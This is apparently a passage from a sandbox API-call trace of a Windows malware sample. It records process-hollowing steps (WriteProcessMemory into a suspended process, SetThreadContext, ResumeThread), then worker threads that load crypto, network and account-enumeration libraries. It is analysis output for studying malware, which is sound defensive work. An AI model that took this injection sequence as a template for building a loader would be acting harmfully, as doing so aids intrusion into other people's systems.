[244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
[0078.599] IsWow64Process (in: hProcess=0x3b4, Wow64Process=0x21bf92c | out: Wow64Process=0x21bf92c) returned 1
[0078.599] WriteProcessMemory (in: hProcess=0x3b4, lpBaseAddress=0x400000, lpBuffer=0x1af0000*, nSize=0x5b000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x1af0000*, lpNumberOfBytesWritten=0x0) returned 1
[0078.613] WriteProcessMemory (in: hProcess=0x3b4, lpBaseAddress=0x7ffd8008, lpBuffer=0x21bf930*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x21bf930*, lpNumberOfBytesWritten=0x0) returned 1
[0078.615] SetThreadContext (hThread=0x3b8, lpContext=0x21bf640*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7ffd8000, Edx=0x0, Ecx=0x0, Eax=0x443a06, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1
[0078.615] ResumeThread (hThread=0x3b8) returned 0x1
[0078.615] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xffffffff) returned 0x0
[0083.653] CloseHandle (hObject=0x3b4) returned 1
[0083.653] CloseHandle (hObject=0x3b8) returned 1
[0083.653] CloseHandle (hObject=0x0) returned 0
[0083.653] VirtualFree (lpAddress=0x1af0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0083.657] GetTickCount () returned 0x1b385
[0083.657] GetTickCount () returned 0x1b385
[0083.707] GetTickCount () returned 0x1b3c4
[0083.724] GetTickCount () returned 0x1b3d3
[0083.724] GetTickCount () returned 0x1b3d3
[0083.724] GetTickCount () returned 0x1b3d3
[0083.738] GetTickCount () returned 0x1b3e3
[0083.817] GetTickCount () returned 0x1b431
[0083.832] GetTickCount () returned 0x1b441
[0083.832] GetTickCount () returned 0x1b441
[0083.849] GetTickCount () returned 0x1b450
[0083.913] GetTickCount () returned 0x1b48f
[0083.926] GetTickCount () returned 0x1b49e
[0083.926] GetTickCount () returned 0x1b49e
[0083.941] GetTickCount () returned 0x1b4ae
[0084.019] GetTickCount () returned 0x1b4fc
[0084.019] GetTickCount () returned 0x1b4fc
[0084.019] GetTickCount () returned 0x1b4fc
[0084.034] GetTickCount () returned 0x1b50b
[0084.113] GetTickCount () returned 0x1b559
[0084.129] GetTickCount () returned 0x1b569
[0084.129] GetTickCount () returned 0x1b569
[0084.145] GetTickCount () returned 0x1b579
[0084.212] GetTickCount () returned 0x1b5b7
[0084.244] GetTickCount () returned 0x1b5d6
[0084.244] GetTickCount () returned 0x1b5d6
[0084.244] GetTickCount () returned 0x1b5d6
[0084.345] GetTickCount () returned 0x1b634
[0084.345] GetTickCount () returned 0x1b634
[0084.345] GetTickCount () returned 0x1b634
[0084.458] GetTickCount () returned 0x1b6b1
[0084.458] GetTickCount () returned 0x1b6b1
[0084.458] GetTickCount () returned 0x1b6b1
[0084.458] GetTickCount () returned 0x1b6b1
[0084.458] GetTickCount () returned 0x1b6b1
[0084.562] GetTickCount () returned 0x1b70e
[0084.562] GetTickCount () returned 0x1b70e
[0084.562] GetTickCount () returned 0x1b70e
[0084.562] GetTickCount () returned 0x1b70e
[0084.613] GetTickCount () returned 0x1b74d
[0084.627] GetTickCount () returned 0x1b75c
[0084.627] GetTickCount () returned 0x1b75c
[0084.643] GetTickCount () returned 0x1b76c
[0084.722] GetTickCount () returned 0x1b7ba
[0084.722] GetTickCount () returned 0x1b7ba
[0084.722] GetTickCount () returned 0x1b7ba
[0084.722] GetTickCount () returned 0x1b7ba
[0084.738] GetTickCount () returned 0x1b7c9
[0084.815] GetTickCount () returned 0x1b817
[0084.830] GetTickCount () returned 0x1b827
[0084.830] GetTickCount () returned 0x1b827
[0085.012] GetTickCount () returned 0x1b8d3
[0085.012] GetTickCount () returned 0x1b8d3
[0085.012] GetTickCount () returned 0x1b8d3
[0085.012] GetTickCount () returned 0x1b8d3
[0085.012] GetTickCount () returned 0x1b8d3
[0085.024] GetTickCount () returned 0x1b8e2
[0085.037] GetTickCount () returned 0x1b8f2
[0085.037] GetTickCount () returned 0x1b8f2
[0085.110] GetTickCount () returned 0x1b930
[0085.112] GetTickCount () returned 0x1b940
[0085.126] GetTickCount () returned 0x1b94f
[0085.126] GetTickCount () returned 0x1b94f
[0085.142] GetTickCount () returned 0x1b95f
[0085.223] GetTickCount () returned 0x1b9ad
[0085.223] GetTickCount () returned 0x1b9ad
[0085.223] GetTickCount () returned 0x1b9ad
[0085.237] GetTickCount () returned 0x1b9bd
[0085.421] GetTickCount () returned 0x1ba68
[0085.421] GetTickCount () returned 0x1ba68
[0085.421] GetTickCount () returned 0x1ba68
[0085.421] GetTickCount () returned 0x1ba68
[0085.421] GetTickCount () returned 0x1ba68
[0085.424] GetTickCount () returned 0x1ba78
[0085.424] GetTickCount () returned 0x1ba78
Thread:
id = 74
os_tid = 0xc5c
Thread:
id = 75
os_tid = 0xc60
[0077.733] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0077.734] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x757b0000
[0077.735] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x764f0000
[0077.735] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0077.735] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74dc0000
[0077.735] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x771e0000
[0077.736] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x741a0000
[0077.736] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x370
[0077.736] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x3f2200 | out: pszPath="C:\\ProgramData") returned 0x0
[0077.737] GetTempFileNameW (in: lpPathName="C:\\ProgramData", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x3f2200 | out: lpTempFileName="C:\\ProgramData\\9F1B.tmp" (normalized: "c:\\programdata\\9f1b.tmp")) returned 0x9f1b
[0077.738] DeleteFileW (lpFileName="C:\\ProgramData\\9F1B.tmp" (normalized: "c:\\programdata\\9f1b.tmp")) returned 1
[0077.738] GetTickCount () returned 0x19f1b
[0077.738] CreateTimerQueueTimer (in: phNewTimer=0x24bff60, TimerQueue=0x0, Callback=0x3d76b0, Parameter=0x0, DueTime=0x1f4, Period=0x64, Flags=0x10 | out: phNewTimer=0x24bff60*=0x1b34d0) returned 1
[0077.738] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0xffffffff) returned 0x0
[0095.834] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x1b34d0, CompletionEvent=0xffffffff) returned 1
[0095.834] CloseHandle (hObject=0x370) returned 1
[0095.834] CryptDestroyHash (hHash=0x1b3690) returned 0
[0095.834] CryptDestroyKey (hKey=0x1b3510) returned 1
[0095.834] CryptDestroyKey (hKey=0x1b3710) returned 0
[0095.834] CryptReleaseContext (hProv=0x1ceac0, dwFlags=0x0) returned 1
[0095.834] DeleteFileW (lpFileName="C:\\ProgramData\\9F1B.tmp" (normalized: "c:\\programdata\\9f1b.tmp")) returned 1
Thread:
id = 76
os_tid = 0xc64
[0077.738] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0077.739] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x757b0000
[0077.739] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x764f0000
[0077.739] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0077.740] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74dc0000
[0077.740] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x771e0000
[0077.740] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x741a0000
[0077.740] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x378
[0077.740] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x1a8fa00 | out: pszPath="C:\\ProgramData") returned 0x0
[0077.740] GetTempFileNameW (in: lpPathName="C:\\ProgramData", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x1a8fa00 | out: lpTempFileName="C:\\ProgramData\\9F1C.tmp" (normalized: "c:\\programdata\\9f1c.tmp")) returned 0x9f1c
[0077.741] DeleteFileW (lpFileName="C:\\ProgramData\\9F1C.tmp" (normalized: "c:\\programdata\\9f1c.tmp")) returned 1
[0077.741] GetTickCount () returned 0x19f1b
[0077.741] CreateTimerQueueTimer (in: phNewTimer=0x25bff60, TimerQueue=0x0, Callback=0x1a376b0, Parameter=0x0, DueTime=0x1f4, Period=0x64, Flags=0x10 | out: phNewTimer=0x25bff60*=0x1b3510) returned 1
[0077.742] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0xffffffff) returned 0x0
[0093.835] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x1b3510, CompletionEvent=0xffffffff) returned 1
[0093.835] CloseHandle (hObject=0x378) returned 1
[0093.835] CryptDestroyHash (hHash=0x1b3650) returned 0
[0093.835] CryptDestroyKey (hKey=0x1b35d0) returned 1
[0093.835] CryptDestroyKey (hKey=0x1b36d0) returned 0
[0093.835] CryptReleaseContext (hProv=0x1ceac0, dwFlags=0x0) returned 1
[0093.835] DeleteFileW (lpFileName="C:\\ProgramData\\9F1C.tmp" (normalized: "c:\\programdata\\9f1c.tmp")) returned 1
Thread:
id = 77
os_tid = 0xc68
[0077.746] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0077.747] LoadLibraryW (lpLibFileName="crypt32.dll") returned 0x757b0000
[0077.747] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x764f0000
[0077.747] LoadLibraryW (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0077.748] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74dc0000
[0077.748] LoadLibraryW (lpLibFileName="wininet.dll") returned 0x771e0000
[0077.748] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x741a0000
[0077.748] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x374
[0077.748] SHGetFolderPathW (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x1abca00 | out: pszPath="C:\\ProgramData") returned 0x0
[0077.749] GetTempFileNameW (in: lpPathName="C:\\ProgramData", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x1abca00 | out: lpTempFileName="C:\\ProgramData\\9F2D.tmp" (normalized: "c:\\programdata\\9f2d.tmp")) returned 0x9f2d
[0077.749] DeleteFileW (lpFileName="C:\\ProgramData\\9F2D.tmp" (normalized: "c:\\programdata\\9f2d.tmp")) returned 1
[0077.749] GetTickCount () returned 0x19f2b
[0077.749] CreateTimerQueueTimer (in: phNewTimer=0x26bff60, TimerQueue=0x0, Callback=0x1aa7880, Parameter=0x0, DueTime=0x1f4, Period=0x64, Flags=0x10 | out: phNewTimer=0x26bff60*=0x1b3550) returned 1
[0077.749] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0
[0098.544] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x1b3550, CompletionEvent=0xffffffff) returned 1
[0098.544] CloseHandle (hObject=0x374) returned 1
[0098.544] CryptDestroyHash (hHash=0x1b35d0) returned 0
[0098.544] CryptDestroyKey (hKey=0x1b34d0) returned 1
[0098.544] CryptDestroyKey (hKey=0x1b3490) returned 0
[0098.544] CryptReleaseContext (hProv=0x1ceac0, dwFlags=0x0) returned 1
[0098.544] DeleteFileW (lpFileName="C:\\ProgramData\\9F2D.tmp" (normalized: "c:\\programdata\\9f2d.tmp")) returned 0
Thread:
id = 78
os_tid = 0xc6c
[0077.750] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x76030000
[0077.750] LoadLibraryW (lpLibFileName="mpr.dll") returned 0x70f40000
[0077.753] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x73eb0000
[0077.926] LoadLibraryW (lpLibFileName="SAMCLI.DLL") returned 0x73800000
[0077.946] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x74dc0000
[0077.946] LoadLibraryW (lpLibFileName="wtsapi32.dll") returned 0x741a0000
[0077.947] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a8
[0077.947] GetTickCount () returned 0x19fd7
[0077.947] CreateTimerQueueTimer (in: phNewTimer=0x27bff60, TimerQueue=0x0, Callback=0x1303130, Parameter=0x0, DueTime=0x1f4, Period=0x64, Flags=0x10 | out: phNewTimer=0x27bff60*=0x1b3650) returned 1
[0077.947] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0xffffffff) returned 0x0
[0092.708] DeleteTimerQueueTimer (TimerQueue=0x0, Timer=0x1b3650, CompletionEvent=0xffffffff) returned 1
[0092.709] CloseHandle (hObject=0x3a8) returned 1
Thread:
id = 82
os_tid = 0xc88
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.574] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.575] GetTickCount () returned 0x1a553
[0079.616] GetTickCount () returned 0x1a572
[0079.616] GetTickCount () returned 0x1a572
[0079.616] GetTickCount () returned 0x1a572
Thread:
id = 83
os_tid = 0xc8c
[0079.809] GetTickCount () returned 0x1a63d
[0079.809] GetTickCount () returned 0x1a63d
[0079.809] GetTickCount () returned 0x1a63d
[0079.809] GetTickCount () returned 0x1a63d
[0079.809] GetTickCount () returned 0x1a63d
[0079.809] GetTickCount () returned 0x1a63d
[0079.809] GetTickCount () returned 0x1a63d
[0079.810] GetTickCount () returned 0x1a63d
[0079.957] GetTickCount () returned 0x1a6c9
[0079.957] GetTickCount () returned 0x1a6c9
[0079.957] GetTickCount () returned 0x1a6c9
[0079.957] GetTickCount () returned 0x1a6c9
[0079.995] GetTickCount () returned 0x1a6f8
[0079.995] GetTickCount () returned 0x1a6f8
[0079.995] GetTickCount () returned 0x1a6f8
[0080.036] GetTickCount () returned 0x1a717
[0080.247] GetTickCount () returned 0x1a7b3
[0080.247] GetTickCount () returned 0x1a7b3
[0080.247] GetTickCount () returned 0x1a7b3
[0080.247] GetTickCount () returned 0x1a7b3
